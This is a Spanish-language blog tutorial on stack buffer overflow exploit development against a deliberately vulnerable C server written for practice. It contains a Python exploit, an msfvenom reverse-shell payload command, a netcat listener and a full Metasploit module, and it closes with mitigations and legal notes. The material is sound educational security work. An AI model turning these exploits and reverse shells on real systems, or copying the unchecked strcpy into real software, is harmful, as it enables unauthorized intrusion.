Inicio Linux & Systems Networks & Infrastructure Cybersecurity Cloud & DevOps SIEM & Monitoring DFIR & Threat Intel Development & Other Todas las categorias Herramientas Proyectos Sobre

Creando un Exploit Paso a Paso

Read in English
Creando un Exploit Paso a Paso

Tabla de contenidos

Introducción al desarrollo de exploits

El desarrollo de exploits es una de las habilidades fundamentales en ciberseguridad ofensiva. Comprender cómo se descubren vulnerabilidades, cómo se explotan y cómo se convierten en herramientas reutilizables (como módulos de Metasploit) es esencial para cualquier profesional de seguridad, ya sea para hacer pentesting o para entender cómo proteger sistemas.

En este artículo vamos a recorrer el proceso completo: desde analizar un servidor vulnerable con un buffer overflow clásico en la pila (stack), hasta escribir un exploit funcional y convertirlo en un módulo de Metasploit.

El servidor vulnerable

Para practicar, utilizaremos un servidor TCP sencillo escrito en C que contiene una vulnerabilidad deliberada: un strcpy sin control de límites que copia datos de red directamente a un buffer local de tamaño fijo.

c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <sys/wait.h>
#include <signal.h>

#define PORT "7777"
#define BACKLOG 10

/* Función vulnerable: copia net_buffer en un buffer local
   de solo 120 bytes sin verificar longitud */
void vulnerable(char *net_buffer)
{
    char local_buffer[120];
    strcpy(local_buffer, net_buffer);  // ← VULNERABLE
    return;
}

La función vulnerable() es el núcleo del problema: declara un local_buffer de 120 bytes en la pila y usa strcpy() para copiar los datos recibidos de la red sin ninguna validación de longitud. Si el cliente envía más de 120 bytes, sobrescribirá el saved return address (dirección de retorno) en la pila, lo que permite al atacante redirigir la ejecución del programa.

Paso 1: Identificar la vulnerabilidad

El primer paso en el desarrollo de un exploit es identificar dónde reside la vulnerabilidad. En código fuente, buscamos funciones inseguras como:

  • strcpy() — no verifica límites
  • strcat() — concatena sin verificar espacio disponible
  • sprintf() — formatea sin límite de destino
  • gets() — lee sin límite (eliminada en C11)

En nuestro caso, la vulnerabilidad es evidente en la función vulnerable(). En un escenario real, tendríamos que hacer fuzzing para descubrirla.

Paso 2: Provocar el crash (fuzzing)

Antes de escribir el exploit, necesitamos confirmar que podemos provocar un crash controlado. Compilamos el servidor sin protecciones de pila para facilitar la práctica:

bash
# Compilar sin stack canary ni ASLR para práctica
gcc -fno-stack-protector -z execstack -no-pie -o vuln_server vuln_server.c

# Desactivar ASLR temporalmente (requiere root)
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

# Ejecutar el servidor
./vuln_server

Ahora enviamos un payload de prueba con Python para provocar el crash:

python
import socket

target = "127.0.0.1"
port = 7777

# Enviar 200 bytes de 'A' para desbordar el buffer de 120
payload = b"A" * 200

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
banner = s.recv(1024)
print(f"[*] Banner: {banner}")
s.send(payload)
s.close()
print("[*] Payload enviado")

Si el servidor se cuelga con un Segmentation Fault, hemos confirmado que la vulnerabilidad es explotable.

Paso 3: Controlar EIP

El siguiente objetivo es determinar exactamente en qué offset del buffer se sobrescribe la dirección de retorno (EIP en x86). Para esto usamos un patrón único generado por Metasploit:

bash
# Generar patrón único de 200 bytes
msf-pattern_create -l 200

# Después del crash, buscar el valor de EIP en el patrón
# Si EIP = 0x63413163 (ejemplo)
msf-pattern_offset -l 200 -q 63413163
# Resultado: Exact match at offset 132

Esto nos indica que después de 132 bytes de relleno, los siguientes 4 bytes sobrescriben EIP. Verificamos con un script:

python
import socket
import struct

offset = 132
eip = b"BBBB"  # 0x42424242

payload = b"A" * offset + eip + b"C" * 64

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", 7777))
s.recv(1024)
s.send(payload)
s.close()

En GDB, si vemos que EIP vale 0x42424242, confirmamos control total sobre el flujo de ejecución.

Paso 4: Encontrar espacio para el shellcode

Necesitamos localizar dónde colocar nuestro shellcode en memoria. Las opciones comunes son:

  • Después de EIP: los bytes que siguen a la dirección de retorno (las C de nuestro payload)
  • Antes de EIP: el propio buffer de relleno (las A)

Para un buffer de 120 bytes, generalmente colocamos el shellcode después de EIP y usamos una instrucción JMP ESP como trampolín:

bash
# Buscar instrucción JMP ESP en las librerías cargadas
msf-jmpcall -s jmp -r esp /usr/lib/libc.so.6

# O dentro de GDB:
# (gdb) find /b 0x08048000, 0x0804ffff, 0xff, 0xe4

Paso 5: Generar el shellcode

Usamos msfvenom para generar un shellcode que abra una reverse shell:

bash
# Generar shellcode para reverse shell Linux x86
# Excluimos bytes nulos (\x00) que cortarían strcpy
msfvenom -p linux/x86/shell_reverse_tcp \
  LHOST=192.168.1.100 LPORT=4444 \
  -b '\x00' \
  -f python -v shellcode

Paso 6: Construir el exploit completo

python
#!/usr/bin/env python3
import socket
import struct

# Configuración
TARGET = "192.168.1.50"
PORT = 7777
OFFSET = 132

# Dirección de JMP ESP (ajustar según el entorno)
JMP_ESP = struct.pack("<I", 0x08049263)

# NOP sled para mayor fiabilidad
NOP_SLED = b"\x90" * 16

# Shellcode generado con msfvenom (reverse shell)
# msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.100
#   LPORT=4444 -b '\x00' -f python
shellcode =  b""
shellcode += b"\xdb\xc0\xd9\x74\x24\xf4\x5b\x53"
# ... (shellcode completo generado por msfvenom)

# Construir el payload
payload = b"A" * OFFSET      # Relleno hasta EIP
payload += JMP_ESP            # Sobrescribir EIP con JMP ESP
payload += NOP_SLED           # NOP sled de seguridad
payload += shellcode           # Shellcode de reverse shell

# Enviar exploit
print(f"[*] Conectando a {TARGET}:{PORT}")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TARGET, PORT))
banner = s.recv(1024)
print(f"[*] Banner: {banner.decode()}")
print(f"[*] Enviando payload ({len(payload)} bytes)")
s.send(payload)
s.close()
print("[*] Payload enviado. Verifica tu listener.")

Antes de lanzar el exploit, levantamos un listener en nuestra máquina:

bash
nc -lvnp 4444

Paso 7: Convertirlo en módulo de Metasploit

Una vez que nuestro exploit funciona, podemos integrarlo en Metasploit Framework como un módulo reutilizable:

ruby
class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Vulnerable Server Buffer Overflow',
      'Description'    => %q{
        Exploit de buffer overflow para el servidor vulnerable
        que escucha en el puerto 7777. La función vulnerable()
        usa strcpy() sin verificar límites.
      },
      'Author'         => ['rokitoh'],
      'License'        => MSF_LICENSE,
      'Platform'       => 'linux',
      'Arch'           => ARCH_X86,
      'Targets'        => [
        ['Linux x86', { 'Ret' => 0x08049263 }]
      ],
      'DefaultTarget'  => 0,
      'Payload'        => {
        'Space'    => 400,
        'BadChars' => "\x00"
      }
    ))

    register_options([
      Opt::RPORT(7777)
    ])
  end

  def exploit
    connect

    # Recibir banner
    banner = sock.get_once
    print_status("Banner: #{banner}")

    # Construir buffer
    buf = rand_text_alpha(132)     # Relleno
    buf << [target.ret].pack('V')  # EIP → JMP ESP
    buf << make_nops(16)            # NOP sled
    buf << payload.encoded          # Shellcode

    print_status("Enviando exploit (#{buf.length} bytes)")
    sock.put(buf)

    handler
    disconnect
  end
end

Para usar el módulo, lo copiamos al directorio de módulos de Metasploit y lo ejecutamos:

bash
# Copiar el módulo
cp vuln_server_exploit.rb ~/.msf4/modules/exploits/linux/misc/

# En msfconsole
msf6> use exploit/linux/misc/vuln_server_exploit
msf6 exploit(vuln_server_exploit)> set RHOSTS 192.168.1.50
msf6 exploit(vuln_server_exploit)> set LHOST 192.168.1.100
msf6 exploit(vuln_server_exploit)> set PAYLOAD linux/x86/shell_reverse_tcp
msf6 exploit(vuln_server_exploit)> exploit

Protecciones modernas contra buffer overflow

En sistemas modernos, varias protecciones dificultan este tipo de exploits:

  • ASLR (Address Space Layout Randomization): aleatoriza las direcciones de memoria en cada ejecución, haciendo impredecible la ubicación de JMP ESP
  • Stack Canaries: valores centinela que se verifican antes de retornar de una función; si se sobrescriben, el programa aborta
  • NX/DEP (No-Execute / Data Execution Prevention): marca la pila como no ejecutable, impidiendo la ejecución directa de shellcode
  • PIE (Position Independent Executables): el propio binario se carga en direcciones aleatorias
  • RELRO: protege la tabla GOT contra sobrescritura

Técnicas como ROP (Return-Oriented Programming), ret2libc y format string attacks permiten evadir algunas de estas protecciones, pero su complejidad es significativamente mayor.

Consideraciones legales y éticas

El desarrollo de exploits es una actividad legítima dentro del ámbito de la ciberseguridad, siempre que se realice:

  • En entornos de laboratorio controlados
  • Con autorización explícita del propietario del sistema
  • En el contexto de pruebas de penetración profesionales
  • Con fines educativos o de investigación en seguridad

El uso de exploits contra sistemas sin autorización es un delito en la mayoría de jurisdicciones.

:wq!

Comentarios